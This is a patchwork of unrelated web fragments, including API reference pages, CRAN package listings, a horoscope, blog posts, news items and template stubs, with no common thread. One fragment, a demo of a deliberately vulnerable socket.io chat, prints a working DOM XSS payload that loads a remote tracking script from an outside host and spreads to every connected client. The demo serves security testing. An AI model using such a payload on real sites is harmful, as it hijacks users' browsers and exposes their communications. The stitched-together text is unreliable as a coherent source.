Sets the logonLocation Location (by IP address mapping) associated with a user sign-in event by this user.
public
setLogonLocation(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the logonLocation
Return values
UserSecurityState —setLogonType()
Sets the logonType Method of user sign in. Possible values are: unknown, interactive, remoteInteractive, network, batch, service.
public
setLogonType(LogonType $val) : UserSecurityState
Parameters
- $val : LogonType
-
The value to assign to the logonType
Return values
UserSecurityState —The UserSecurityState
setODataType()
Sets the ODataType
public
setODataType(string $val) : Entity
Parameters
- $val : string
-
The ODataType
Return values
Entity —setOnPremisesSecurityIdentifier()
Sets the onPremisesSecurityIdentifier Active Directory (on-premises) Security Identifier (SID) of the user.
public
setOnPremisesSecurityIdentifier(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the onPremisesSecurityIdentifier
Return values
UserSecurityState —setRiskScore()
Sets the riskScore Provider-generated/calculated risk score of the user account. Recommended value range of 0-1, which equates to a percentage.
public
setRiskScore(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the riskScore
Return values
UserSecurityState —setUserAccountType()
Sets the userAccountType User account type (group membership), per Windows definition. Possible values are: unknown, standard, power, administrator.
public
setUserAccountType(UserAccountSecurityType $val) : UserSecurityState
Parameters
- $val : UserAccountSecurityType
-
The value to assign to the userAccountType
Return values
UserSecurityState —The UserSecurityState
setUserPrincipalName()
Sets the userPrincipalName User sign-in name - internet format: (user account name)@(user account DNS domain name).
public
setUserPrincipalName(string $val) : UserSecurityState
Parameters
- $val : string
-
The value of the userPrincipalName


Routines for a collection of screen-and-clean type variable selection procedures, including UPS and GS.
| Version: | 1.0.1 |
| Imports: | MASS, Matrix, quadprog |
| Published: | 2012-10-30 |
| Author: | Pengsheng Ji, Jiashun Jin, Qi Zhang |
| Maintainer: | Qi Zhang <karlmzhang at gmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| CRAN checks: | ScreenClean results |
| Reference manual: | ScreenClean.pdf |
| Package source: | ScreenClean_1.0.1.tar.gz |
| Windows binaries: | r-devel: ScreenClean_1.0.1.zip, r-release: ScreenClean_1.0.1.zip, r-oldrel: ScreenClean_1.0.1.zip |
| OS X binaries: | r-release: ScreenClean_1.0.1.tgz, r-oldrel: ScreenClean_1.0.1.tgz |
| Old sources: | ScreenClean archive |
Please use the canonical form https://CRAN.R-project.org/package=ScreenClean to link to this page.


Thinking Style and Learning
Concrete Random and Abstract Random January 11th, 2015
An important part of learning is understanding your own thinking style. After reviewing my Gregorc Thinking style, I've concluded that I am primarily a Concrete Random thinker with the secondary thinking style of Abstract Random. The concrete quality is related to the five senses. It is the direct approach to things. There are no hidden messages. It is in the "here and now". Abstract quality is related to seeing what is not there. To conceive ideas and to understand. It is the quality that is related to reading between the lines. Random ability represents your mind organizing information in chunks.  Random thinkers are more spontaneous and impulsive.
Within DBC, I've applied this thinking style to my learning. I've learned that I am more of a trials and error learner. If I get stuck, it's been tough to figure out what direction to go towards. I'll need to get more comfortable with taking bigger leaps and be comfortable with switching my approaches. I found that when I am working alone, I become more of a concrete random thinker but when I pair program, I am much more of an abstract random thinker.
After grasping an understanding of how I think, the next step is to be open to learning. There are two mindsets of learning. One is fixed; the other, growth. A fixed mindset of learning believes that intelligence can't be increased. It's what you're born with and that's all. A person with a fixed mindset tends to avoid challenges, give up easily, and ignore feedback. A growth mindset believes you can continue becoming more intelligent and you can continuously grow by pursuing knowledge. They embrace challenges and learn from criticism.
I try to keep the growth mindset during my learning. I've found that during the past few weeks of Phase 0, I've mostly been able to stay optimistic within my learning. It's tough when there are times that I unknowingly set mental roadblocks. I become a little frustrated but when I do, I take a short break. Ideally, it'd be best if I can stop myself from becoming flustered with the material, but it's a learning process! The growth mindset allows me to not limit myself and I'll need to continue to grow to be more comfortable with where I'm at.


GENERAL DESCRIPTION
Color: Orange, White
Day: Monday, Thursday
Ruler: Moon
Greatest Overall Compatibility: Scorpio, Pisces
Best for Partnerships: Capricorn
Lucky Numbers: 2, 7, 11, 16, 20, 25
Date range: June 21 - July 22
Cancer traits
Strengths: Tenacious, highly imaginative, loyal, emotional, sympathetic, persuasive
Weaknesses: Moody, pessimistic, suspicious, manipulative, insecure
Cancer likes: Art, home-based hobbies, relaxing near or in water, helping loved ones, a good meal with friends
Cancer dislikes: Strangers, any criticism of Mom, revealing of personal life
Deeply intuitive and sentimental, Cancer can be one of the most challenging Zodiac signs to get to know. Cancer is very emotional and sensitive, and they care about family and home. Cancer is sympathetic and is very attached to the people who surround him. People born under the Cancer sign are very loyal and empathetic people, able to empathize with your pain and suffering.
Because of the ruling planet the Moon, the many phases of its lunar cycle can deepen Cancers internal mysteries and create fleeting emotional patterns that the sensitive Cancer cannot control, especially when a child. This can show itself as mood swings, selfishness, manipulation and fits of rage. Cancer is quick to help others and avoid conflicts. One of his greatest strengths is persistent determination. Cancer doesn't have great ambitions, because they are happy and content to have a loving family and tranquil and harmonious home. They often take good care of their co-workers and treat them as family.
Cancer Love
Cancer is a very emotional sign, so for them feelings are most important when it comes to love and romance. Gentle and caring, Cancer will show off its sensibility without any thinking. For partners, they always choose a person who is able to understand them better. Superficial or too ambitious partner is not welcome for a person born under the sign of Cancer.
Cancer is loyal and dedicated towards their partners, and will bestow its love and affection by showering material gifts and verbal appreciation. Cancer is a dedicated partner who loves children and marriage.
Cancer Friends and Family
People born under the sign of Cancer are great parents. They care about family and home and value home comforts than anything else. They are deeply sentimental and prone to diligently preserving family memories intact. Cancer loves sharing his life experiences with his family.
When it comes to friendship, Cancerians are always willing to lend a hand of friendship, of course, if it does not interfere with family responsibilities.They respect their friends a lot. People who enjoy socializing in the home will be on the top of their list of friends. Their intuitive nature makes them very compassionate, but sometimes it's impossible to understand them.
Cancer Career and Money
Cancer can be very persistent and sensitive. When a job needs to be done, they will roll their sleeves up and finish the job successfully. When left alone to work, they perform better and there is absolutely no need to monitor their work.
They will have great careers as nurses, housekeepers, gardeners, politicians and journalists.
For Cancerians, security and money are of great importance, when it comes to work. They can earn money very easily, but they can also spend it very quickly. Cancer is not a big spender of money, in fact, is far more inclined to invest and watching it grow from day to day. Cancer is very resourceful and he is good at managing his time and money.


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AudioPlayer
public class AudioPlayer : NSObject
An AudioPlayer
instance is used to play AudioPlayerItem
. It’s an easy to use AVPlayer with simple methods to
handle the whole playing audio process.
You can get events (such as state change or time observation) by registering a delegate.
-
The current item being played.
Declaration
Swift
public internal(set) var currentItem: AudioItem? { get set }
-
The delegate that will be called upon events.
Declaration
Swift
public weak var delegate: AudioPlayerDelegate?
-
Defines the maximum to wait after a connection loss before putting the player to Stopped mode and cancelling the resume. Default value is 60 seconds.
Declaration
Swift
public var maximumConnectionLossTime: TimeInterval
-
Defines whether the player should automatically adjust sound quality based on the number of interruption before a delay and the maximum number of interruption whithin this delay. Default value is
true
.Declaration
Swift
public var adjustQualityAutomatically: Bool
-
Defines the default quality used to play. Default value is
.medium
Declaration
Swift
public var defaultQuality: AudioQuality
-
Defines the delay within which the player wait for an interruption before upgrading the quality. Default value is 10 minutes.
Declaration
Swift
public var adjustQualityTimeInternal: TimeInterval { get set }
-
Defines the maximum number of interruption to have within the
adjustQualityTimeInterval
delay before downgrading the quality. Default value is 5.Declaration
Swift
public var adjustQualityAfterInterruptionCount: Int { get set }
-
The maximum number of interruption before putting the player to Stopped mode. Default value is 10.
Declaration
Swift
public var maximumRetryCount: Int { get set }
-
The delay to wait before cancelling last retry and retrying. Default value is 10 seconds.
Declaration
Swift
public var retryTimeout: TimeInterval { get set }
-
Defines whether the player should resume after a system interruption or not. Default value is
true
.Declaration
Swift
public var resumeAfterInterruption: Bool
-
Defines whether the player should resume after a connection loss or not. Default value is
true
.Declaration
Swift
public var resumeAfterConnectionLoss: Bool
-
Defines the mode of the player. Default is
.Normal
.Declaration
Swift
public var mode: AudioPlayerMode { get set }
-
Defines the volume of the player.
1.0
means 100% and0.0
is 0%.Declaration
Swift
public var volume: Float { get set }
-
Defines the rate of the player. Default value is 1.
Declaration
Swift
public var rate: Float { get set }
-
Defines the buffering strategy used to determine how much to buffer before starting playback
Declaration
Swift
public var bufferingStrategy: AudioPlayerBufferingStrategy { get set }
-
Defines the preferred buffer duration in seconds before playback begins. Defaults to 60. Works on iOS/tvOS 10+ when
bufferingStrategy
is.playWhenPreferredBufferDurationFull
.Declaration
Swift
public var preferredBufferDurationBeforePlayback: TimeInterval
-
Defines the preferred size of the forward buffer for the underlying
AVPlayerItem
. Works on iOS/tvOS 10+, default is 0, which letsAVPlayer
decide.Declaration
Swift
public var preferredForwardBufferDuration: TimeInterval
-
Defines how to behave when the user is seeking through the lockscreen or the control center.
- multiplyRate: Multiples the rate by a factor.
- changeTime: Changes the current position by adding/substracting a time interval.
Declaration
Swift
public enum SeekingBehavior
-
Defines the rate behavior of the player when the backward/forward buttons are pressed. Default value is
multiplyRate(2)
.Declaration
Swift
public var seekingBehavior: AudioPlayer.SeekingBehavior { get set }
-
The current state of the player.
Declaration
Swift
public internal(set) var state: AudioPlayerState { get set }
-
The current quality being played.
Declaration
Swift
public internal(set) var currentQuality: AudioQuality { get }
-
Initializes a new AudioPlayer.
Declaration
Swift
public override init()
-
Resumes the player.
Declaration
Swift
public func resume()
-
Pauses the player.
Declaration
Swift
public func pause()
-
Plays previous item in the queue or rewind current item.
Declaration
Swift
public func previous()
-
Plays next item in the queue.
Declaration
Swift
public func next()
-
Plays the next item in the queue and if there isn’t, the player will stop.
Declaration
Swift
public func nextOrStop()
-
Stops the player and clear the queue.
Declaration
Swift
public func stop()
-
Seeks to a specific time.
Declaration
Swift
public func seek(to time: TimeInterval, byAdaptingTimeToFitSeekableRanges: Bool = false, toleranceBefore: CMTime = CMTime.positiveInfinity, toleranceAfter: CMTime = CMTime.positiveInfinity, completionHandler: ((Bool) -> Void)? = nil)
Parameters
time
The time to seek to.
byAdaptingTimeToFitSeekableRanges
A boolean value indicating whether the time should be adapted to current seekable ranges in order to be bufferless.
toleranceBefore
The tolerance allowed before time.
toleranceAfter
The tolerance allowed after time.
completionHandler
The optional callback that gets executed upon completion with a boolean param indicating if the operation has finished.
-
Seeks backwards as far as possible.
- completionHandler: The optional callback that gets executed upon completion with a boolean param indicating if the operation has finished.
Declaration
Swift
public func seekToSeekableRangeStart(padding: TimeInterval, completionHandler: ((Bool) -> Void)? = nil)
Parameters
padding
The padding to apply if any.
-
Seeks forward as far as possible.
- completionHandler: The optional callback that gets executed upon completion with a boolean param indicating if the operation has finished.
Declaration
Swift
public func seekToSeekableRangeEnd(padding: TimeInterval, completionHandler: ((Bool) -> Void)? = nil)
Parameters
padding
The padding to apply if any.
-
Handle events received from Control Center/Lock screen/Other in UIApplicationDelegate.
Declaration
Swift
public func remoteControlReceived(with event: UIEvent)
Parameters
event
The event received.
-
The current item progression or nil if no item.
Declaration
Swift
public var currentItemProgression: TimeInterval? { get }
-
The current item duration or nil if no item or unknown duration.
Declaration
Swift
public var currentItemDuration: TimeInterval? { get }
-
The current seekable range.
Declaration
Swift
public var currentItemSeekableRange: TimeRange? { get }
-
The current loaded range.
Declaration
Swift
public var currentItemLoadedRange: TimeRange? { get }
-
Undocumented
Declaration
Swift
public var currentItemLoadedAhead: TimeInterval? { get }
-
The items in the queue if any.
Declaration
Swift
public var items: [AudioItem]? { get }
-
The current item index in queue.
Declaration
Swift
public var currentItemIndexInQueue: Int? { get }
-
A boolean value indicating whether there is a next item to play or not.
Declaration
Swift
public var hasNext: Bool { get }
-
A boolean value indicating whether there is a previous item to play or not.
Declaration
Swift
public var hasPrevious: Bool { get }
-
Plays an item.
Declaration
Swift
public func play(item: AudioItem)
Parameters
item
The item to play.
-
Creates a queue according to the current mode and plays it.
Declaration
Swift
public func play(items: [AudioItem], startAtIndex index: Int = 0)
Parameters
items
The items to play.
index
The index to start the player with.
-
Adds an item at the end of the queue. If queue is empty and player isn’t playing, the behaviour will be similar to
play(item:)
.Declaration
Swift
public func add(item: AudioItem)
Parameters
item
The item to add.
-
Adds items at the end of the queue. If the queue is empty and player isn’t playing, the behaviour will be similar to
play(items:)
.Declaration
Swift
public func add(items: [AudioItem])
Parameters
items
The items to add.
-
Removes an item at a specific index in the queue.
Declaration
Swift
public func removeItem(at index: Int)
Parameters
index
The index of the item to remove.


This website is updated to reflect DMNv1.4.
For archived versions of the website you can refer to: Archived DMNv1.3, Archived DMNv1.2, Archived DMNv1.1.
This website is updated to reflect DMNv1.4.
For archived versions of the website you can refer to: Archived DMNv1.3, Archived DMNv1.2, Archived DMNv1.1.


--- layout: page title: About header-img: "img/about-bg.png" ---
After 15 years as an Art Director and Designer for print and web, I became obsessively interested in User Experience Design. I spent a year learning and networking. Something was still missing, something on the more concrete side... Code!


If you need help with scams, please reference the Get Help section on the home page.
The three golden rules are three important rules that you should follow online to avoid scams.
Activities, or lessons, are short tutorials about a particular type of scam.
In order to progress, read the information, and then complete the task at the bottom in italics.
Scroll down in the panel, as the content may have been bigger than the container.
This website was completely written, designed and programmed by two highschool students. There was no adult assistance at all. The only code not written by us is linked below:
Angular 6 Framework


Open from 6am to 8pm at all locations
Pat's Salmon Cookies
Home
Sales
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Locations
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SeaTac Airport
Seattle Center
Capitol Hill
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Some Stuff
Some Stuff


!Iason Heine: Incredible. Absolutely incredible. And now this book... we must find it. What did you say the clues were again? The Emperor's Key, and the Witness of Dawn? [Quest _196_SevenSignsSealoftheEmperor iasonheine_q196_6.htm|"That's right."]


---
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title: Lean Prover Zulip Chat Archive
permalink: 113489newmembers/78641CantdefineChebyshevpolynomials.html
---
The archive URL format has changed. Please find this page at:
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Main Project
Arsh
Bruno Santos
Gurminder Singh
João Rubens
Lucas Project
Mandeep
Manu Panday
Nancy Sharma
Rodrigo Project
Sateek's Project
Lan's Project
Sandeep Sodhi's Project


Class: Aws::GameLift::Types::PriorityConfiguration
| Relationships & Source Files | |
| Super Chains via Extension / Inclusion / Inheritance | |
|
Class Chain:
self,
Struct
|
|
|
Instance Chain:
self,
::Aws::Structure ,
Struct
|
|
| Inherits: |
Struct
|
| Defined in: | gems/aws-sdk-gamelift/lib/aws-sdk-gamelift/types.rb |
Overview
Custom prioritization settings for use by a game session queue when placing new game sessions with available game servers. When defined, this configuration replaces the default FleetIQ prioritization process, which is as follows:
If player latency data is included in a game session request, destinations and locations are prioritized first based on lowest average latency (1), then on lowest hosting cost (2), then on destination list order (3), and finally on location (alphabetical) (4). This approach ensures that the queue's top priority is to place game sessions where average player latency is lowest, and--if latency is the same--where the hosting cost is less, etc.
If player latency data is not included, destinations and locations are prioritized first on destination list order (1), and then on location (alphabetical) (2). This approach ensures that the queue's top priority is to place game sessions on the first destination fleet listed. If that fleet has multiple locations, the game session is placed on the first location (when listed alphabetically).
Changing the priority order will affect how game sessions are placed.
Constant Summary
Instance Attribute Summary
-
#location_order ⇒ Array<String>
rw
The prioritization order to use for fleet locations, when the
PriorityOrder
property includesLOCATION
. -
#priority_order ⇒ Array<String>
rw
The recommended sequence to use when prioritizing where to place new game sessions.
Instance Method Summary
Instance Attribute Details
#location_order ⇒ Array
<String
> (rw)
The prioritization order to use for fleet locations, when the
PriorityOrder
property includes LOCATION
. Locations are
identified by Amazon Web Services Region codes such as us-west-2
.
Each location can only be listed once.
# File 'gems/aws-sdk-gamelift/lib/aws-sdk-gamelift/types.rb', line 7138
class PriorityConfiguration < Struct.new( :priority_order, :location_order) SENSITIVE = [] include Aws::Structure end
#priority_order ⇒ Array
<String
> (rw)
The recommended sequence to use when prioritizing where to place new game sessions. Each type can only be listed once.
LATENCY
-- FleetIQ prioritizes locations where the average player latency (provided in each game session request) is lowest.COST
-- FleetIQ prioritizes destinations with the lowest current hosting costs. Cost is evaluated based on the location, instance type, and fleet type (Spot or On-Demand) for each destination in the queue.DESTINATION
-- FleetIQ prioritizes based on the order that destinations are listed in the queue configuration.LOCATION
-- FleetIQ prioritizes based on the provided order of locations, as defined inLocationOrder
.
# File 'gems/aws-sdk-gamelift/lib/aws-sdk-gamelift/types.rb', line 7138
class PriorityConfiguration < Struct.new( :priority_order, :location_order) SENSITIVE = [] include Aws::Structure end


@** * Copyright (C) 2014 Johannes Unterstein<EMAIL_ADDRESS>unterstein.info * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @(registerForm: play.api.data.Form[AuthenticationController.Register])(implicit request: play.api.mvc.Request[Any], lang: Lang) @import play.api.i18n.Messages @import scala.collection.JavaConversions._ @helper.form(routes.AuthenticationController.registerUser, 'class -> "form-horizontal") {


Connecting...
This is an example of XSS-Track ability to dump WebSockets communication. This blog post explains more.
This is a modified vulnerable version of socket.io chat application
You need a working WebSockets server and WebSockets compatible browser to test it, see readme for details.
The chat message is vulnerable to DOM XSS, use e.g. the following payload to test it:
<img src=a onerror="s=document.createElement('script');s.src='http://kotowicz.net/xss-track/track.js?debug=1&websocket=1';document.body.appendChild(s);">
(The payload will also distribute to all clients connected to the chat)
After the injection all WebSockets communication will be logged to console (Ctrl-Shift-I to see the console in Chrome)


%= circled_title(1, "Create BOSH release") %>
We are going to use a simple BOSH release that deploys an http server.
$ git clone https://github.com/mariash/learn-bosh-release learn-bosh-release
$ cd learn-bosh-release
$ bosh create-release
Upload generated release to Director:
$ bosh -e vbox upload-release
Check uploaded releases:
$ bosh -e vbox releases
Using environment '<IP_ADDRESS>' as client 'admin'
Name Version Commit Hash
learn-bosh 0+dev.1 fd90933
1 releases
Learn more:


What is DMD?
Duchenne Muscular Dystrophy (DMD) affects about 300,000 boys worldwide, with approximately 20,000 cases in the United States.
DMD is a form of muscular dystrophy that is caused by a mutation of the dystrophin gene-located on the X chromosome-which codes for the protein dystrophin. The absence of dystrophin in the body causes muscles to deteriorate and break down. DMD is the most frequently occurring and one of the most rapidly progressive childhood neuromuscular disorders. Due to the way DMD is inherited, boys are primarily affected.
In Duchenne Muscular Dystrophy, the child's exons (sections of DNA that code for the protein dystrophin) are deleted, duplicated, or cause an abrupt stop in the protein production process. The impaired exons then interfere with the rest of the gene being pieced together, which results in a mutation that causes the body to lack the protein needed to protect and rebuild muscle fibers. This leads to continuous muscle degeneration and premature death. Read more about DMD on duchenne,com
DMD has many variations, which makes finding a cure extremely challenging. JAR of Hope's mission is dedicated to bringing awareness and raising funds directed to finding a cure.


Colors
#880C23
Main red
#F6F7FB
Off-white--used to contrast with #fff
#233D6E
Main blue
#14131C
Footer black
#383651
Main font color -- use #fff for light text on dark
#4297CF
Secondary blue -- buttons, etc.
#BF0033
Secondary red -- buttons, etc.
Fonts
- Lato (font-weight 700 for headings, 400 all else)


This document is the API specification for the AssertJ Swing module. It's the fork of FEST Swing.
The AssertJ Swing module is an Open Source library (Apache 2.0 license) that provides:
dialog.comboBox("domain").select("Users");
dialog.textBox("username").enterText("alex.ruiz");
dialog.button("ok").click();
dialog.optionPane().requireErrorMessage()
.requireMessage("Please enter your password");
For more information, please read more about AssertJ Swing fixtures or the project's wiki.


Every SMS user has his/her alias, it is used as your identity on all message groups. Alias is unique, an alias can't be assigned to more than
one user, even for those inactive users. And most important, anyone want to invit you to join a message group, he/she must know your alias. See
section 3.1 and 3.2 of message group creation for details.
Alias is part of SMS user account as you join in, but you can change it if you want, of course rule of uniqueness must be compliance. Click on link
'Alias' of main menu, figure 2.2.1 will be seen, input your desired new alias, and click the 'Save' button to update your alias. However, if the
alias you input has already existed, error message will be displayed, and you need to provide another alias.
|


A piped query generator based on Edgar F. Codd's relational algebra, and on production experience using 'SQL' and 'dplyr' at big data scale. The design represents an attempt to make 'SQL' more teachable by denoting composition by a sequential pipeline notation instead of nested queries or functions. The implementation delivers reliable high performance data processing on large data systems such as 'Spark', databases, and 'data.table'. Package features include: data processing trees or pipelines as observable objects (able to report both columns produced and columns used), optimized 'SQL' generation as an explicit user visible modeling step, explicit query reasoning and checking.
| Version: | 1.2.1 |
| Depends: | R (≥ 3.4.0) |
| Imports: | wrapr (≥ 1.8.0), utils, stats, methods |
| Suggests: | DBI, RSQLite, rqdatatable, igraph, DiagrammeR, knitr, rmarkdown, testthat |
| Published: | 2018-12-16 |
| Author: | John Mount [aut, cre], Win-Vector LLC [cph] |
| Maintainer: | John Mount <jmount at win-vector.com> |
| License: | GPL-3 |
| URL: | https://github.com/WinVector/rquery/, https://winvector.github.io/rquery/ |
| NeedsCompilation: | no |
| Materials: | README NEWS |
| CRAN checks: | rquery results |
| Reference manual: | rquery.pdf |
| Vignettes: |
Assignment Partitioner Parameterized rquery Pipeable SQL Query Generation rquery Introduction SQL quoting |
| Package source: | rquery_1.2.1.tar.gz |
| Windows binaries: | r-devel: rquery_1.2.0.zip, r-release: rquery_1.2.0.zip, r-oldrel: rquery_1.2.1.zip |
| OS X binaries: | r-release: rquery_1.2.1.tgz, r-oldrel: rquery_1.2.1.tgz |
| Old sources: | rquery archive |
| Reverse depends: | rqdatatable |
| Reverse imports: | cdata |
| Reverse suggests: | vtreat |
Please use the canonical form https://CRAN.R-project.org/package=rquery to link to this page.


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%TITLE% %EXCERPT% Read the rest of this post... Written By %AUTHOR% — %PUBLISHED_ON% No blog posts have been published yet. ‹ Newer Older ›


--- layout: post title: Shoppers are wary of chip date: 2004-12-18 00:00:00 ---
Shoppers are wary of chip and pin - I'd put myself into the "wary" box. It seems way more insecure to have to type in a 4-digit number (easily seen by anyone standing near you) than to have to write a signature... presuming these signatures get checked.
I wonder how many people have the same PIN number for their "chip and pin" transactions as they do for their ATM transactions? At least I couldn't look at your signature, steal your card, and run off to withdraw cash... is this shifting risk away from merchants and towards consumers?


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%= this.analytics(obj) %>
Mapbox Studio is a powerful map design studio for creating radically custom maps using data from Mapbox, OpenStreetMap, and your own custom sources.
Mapbox Studio gives you instant streaming access to massive global datasets like Mapbox Streets, Mapbox Terrain, and Mapbox Satellite without importing any data onto your computer.
At its core Mapbox Studio is powered by the mapnik vector tile format. The map creation workflow is split between designing custom styles and creating custom sources. Use the Style editor to start designing custom maps right away. Use the Source editor to convert data from traditional formats (Shapefile, GeoJSON, KML, GPX) into vector tiles that you can create map styles from.
Designing maps is complex and Mapbox Studio doesn't try to hide it. Instead, it puts the CartoCSS styling language in your hands to give you full control over every zoom level, vector layer, and style decision so that you can become an expert at map design.
CartoCSS stylesheets are insprired by CSS but with a vocabulary specific to cartography. Each selector can be scoped by zoom level [zoom<15]
, filtered by layer fields [type='park']
, and use properties like line-dasharray
and polygon-fill
.
Mapbox Studio comes bundled with over 300 pro fonts selected for use with digital cartography thanks to our friends at FontFont. You'll find a variety of fonts ranging from clean, highly readable sans-serifs to expressive, stylized scripts.
To convert custom data into vector tiles Mapbox Studio provides a Source editor. A source project can include multiple layers from different formats like GeoJSON, CSV, KML, GPX, ESRI Shapefile and access PostGIS database tables.
The Source editor focuses exclusively on the data side of the Mapbox Studio equation. It's designed to create fast, scalable vector tile sources. When you're finished use the Style editor with your custom source to start visualizing your data with fonts, colors, and patterns.
Projects from Mapbox Studio can be uploaded to Mapbox and accessed through the Mapbox API. Publish your custom styles and add them to your apps and sites in minutes.
Custom sources that are uploaded to Mapbox can be composited with other sources and shared with other users making it possible to collaborate on your map designs without requiring data imports.


You worked 36 hours total this month.
You spent 3 hours completing exercises.
Your most productive month was January, 2018.


This is a short description of the project that is 2 sentences long. Each description includes the type of project, the challenge, and the approach/process involved.
Sample Project Title
This is a short description of the project that is 2 sentences long. Each description includes the type of project, the challenge, and the approach/process involved.


hueniversitypy package¶
Submodules¶
hueniversitypy.hueniversitypy module¶
hueniversitypy.theme_alberta module¶
-
hueniversitypy.theme_alberta.
theme_alberta
()¶ Applies a University of Alberta theme to all subsequential altair plot objects so they are displayed with the U of A visual identity. See the visual identity at https://www.ualberta.ca/toolkit/visual-identity/our-colours. Four palettes based on the U of A visual identity guidelines can be selected: ‘alpha’, ‘beta’, ‘gamma’ and ‘delta’.
- Returns
altair plot – an altair plot with the U of A visual identity colour theme applied.
- Return type
altair.vegalite.v4.api.Chart
Example
>>> alt.themes.register('theme_alberta', theme_alberta) >>> alt.themes.enable('theme_alberta')
hueniversitypy.theme_mcgill module¶
-
hueniversitypy.theme_mcgill.
theme_mcgill
()¶ Applies McGill University’s theme to all subsequential altair plot objects so they are displayed with the McGill visual identity. See the visual identity at https://mcgill.ca/visual-identity/visual-identity-guide#mcgilllogo. The
- Returns
altair plot (altair.vegalite.v4.api.Chart)
an altair plot with the McGill University’s visual identity colour theme applied.
Example
>>> alt.themes.register('theme_mcgill', theme_mcgill) >>> alt.themes.enable('theme_mcgill')
hueniversitypy.theme_toronto module¶
-
hueniversitypy.theme_toronto.
theme_toronto
()¶ Applies a University of Toronto theme to all subsequential altair plot objects so they are displayed with the U of T visual identity. See the visual identity at https://tinyurl.com/t3jjr49 Three palettes based on the U of T visual identity guidelines can be selected: ‘cool’, ‘vibrant’ and ‘awards’.
- Returns
altair plot – an altair plot with the U of T visual identity colour theme applied.
- Return type
altair.vegalite.v4.api.Chart
Example
>>> alt.themes.register('theme_toronto', theme_toronto) >>> alt.themes.enable('theme_toronto')
hueniversitypy.theme_ubc module¶
-
hueniversitypy.theme_ubc.
theme_ubc
()¶ Applies a University of British Columbia theme to all subsequential altair plot objects so they are displayed with the UBC visual identity. See the visual identity at https://brand.ubc.ca/guidelines/downloads/ubc-colour-and-fonts/
- Returns
altair plot (altair.vegalite.v4.api.Chart)
an altair plot with the UBC visual identity colour theme applied.
Example
>>> alt.themes.register('theme_ubc', theme_ubc) >>> alt.themes.enable('theme_ubc')


Sitecore.Ship : Smarter Package Management
- This is a development version of the package installer
- Source code maintained on GitHub
- Current release : version 0.3.5
Features
- Install Sitecore Update and Zip packages
- Sitecore Publishing
Launch those packages...


If you press enter you will see something like this:
>>>
If you try typing something that isn't a function or incorrect syntax, you will get something like this:
>>>
thisissomethingwrong
Traceback (most recent call last):
File "<pyshell#1>", line 1, in <module>
thisissomethingwrong
NameError: name 'thisissomethingwrong' is not defined
However, if we use something that
is a function, then it will show something like this:
>>>
print
(
"This will work"
)
This will work
Let's break that down.
print
is a builtin function. Whatever value we pass
into the
print
function in between the two parentheses will
be printed out in
blue
text. For example, we passed in a
"string"
, and the function returned it.
We could also pass in a number. For example:
>>>
print
(
42
)
42
Note:
The colors and font may be different in your python installation.


{% extends "base.html" %} {% load bootstrap %} {% block content %} {% include "blocks/current_balance.html" with balance=balance balance_in_secondary_currency=balance_in_secondary_currency %}


Trump Hosts Heated White House Vaping Debate
Trump again appeared to back the idea of imposing a minimum age requirement of 21 for the purchase of vaping products
President Donald Trump hosted a heated White House debate Friday on how best to address the growing health risks of vaping, with industry representatives openly sparring with public health advocates.
Trump told the group he was concerned that a ban on flavored vaping products could lead children to seek out unsafe alternatives that would pose an even greater risk to their health, NBC News reported.
The president again appeared to back the idea of imposing a minimum age requirement of 21 for the purchase of vaping products, saying "everyone seems to agree" on that idea.


{{ "" | safeHTML }} Contact The Global Azure Bootcamp Linz is organized by the Coding Club Linz e.V., Birkenweg 16, A-4060 Leonding. Contact us to get more information on sponsorship and speaking opportunities. {{ .Site.Params.contact.email }}
The Global Azure Bootcamp Linz is organized by the Coding Club Linz e.V., Birkenweg 16, A-4060 Leonding. Contact us to get more information on sponsorship and speaking opportunities.
{{ .Site.Params.contact.email }}


South Pole Day 3 - Postcards?
Hey everyone,
First off, I am planning on sending out a bunch of postcards in the next week or so. If you would like to recieve one, just leave your address in a comment and I’ll get one too you.
Finally after leaving on Dec. 28th, I arrived around 3pm on Jan 5th at the South Pole. It felt like a long journey. On the way down I have been reading a book about the first US expedition to Antarctica. They were gone for over 4 years! Its nice to think that in the event of an emergency I am only a few plane flights away from warm weather.
Today is my first day of actual work. So far I have just been lounging around trying to get aclimated to the altitude. The other issue here is the dry air. Indoors, the relative humidity is roughtly 5%. Last night I put some clothes up to dry in my room and were bone dry in about an hour. I’ll give a detailed post of the living conditions later, but its a little rough. I have to go outside and into another building to go to the bathroom.
My shift starts at 6:30am and but its 6am here. We only get internet 9 hours a day, so I have to get up early to check my email and post. This is definitely an issue for me. It puts internet and sleept, two things I value highly, at odds.
I have to go to work now, but I will give some more detailed posts soon. Remember, if you want a post card, leave your address in the comments.


Each button, when clicked calls a function in the object-choices.js file.
The simple object button calls the function within an object named simpleObject. This function returns and prints out the first and last name of author, which are stored within the object, to the console and on the html page.
The function object button calls the sayName function of the function object, which must first be initialized, then returns and prints "function object" to the console and html page.
The custom class button calls the sayName function within the class object, which is initialized and constructed to store the strings "Custom" and "Class" as the first and last name, and then returns the variables and prints them to the console and html page.


You are seeing this page because you loaded the actual "other.html" probably via the back button (a direct visit) after a normal (non-turbolinks enabled) click.
This is expected since the index page contains hardcoded links in the body for testing. In practice, the index.html page and this page would contain a blank body with Turbolinks pumping in data to React. Direct visits would mean losing the existing cache, but your SPA would still get pumped from Turbolinks script tag at the bottom of this body.


Golden Knights assign Brandon Pirri, Nicolas Roy to Chicago Wolves
by Ben GotzGolden Knights left wing Brandon Pirri cleared waivers Sunday and was assigned to the American Hockey League’s Chicago Wolves.
Pirri, 28, was placed on waivers Saturday by the Knights after he recorded no goals and one assist in 11 games. That gave the other 30 NHL teams a chance to claim him and his two-year contract worth $775,000 annually, but none did.
In addition, the Knights also sent center rookie center Nicolas Roy to the Wolves. Roy was a healthy scratch Saturday against the Los Angeles Kings.
More Golden Knights: Follow at reviewjournal.com/GoldenKnights and @HockeyinVegas on Twitter.


Project Charter
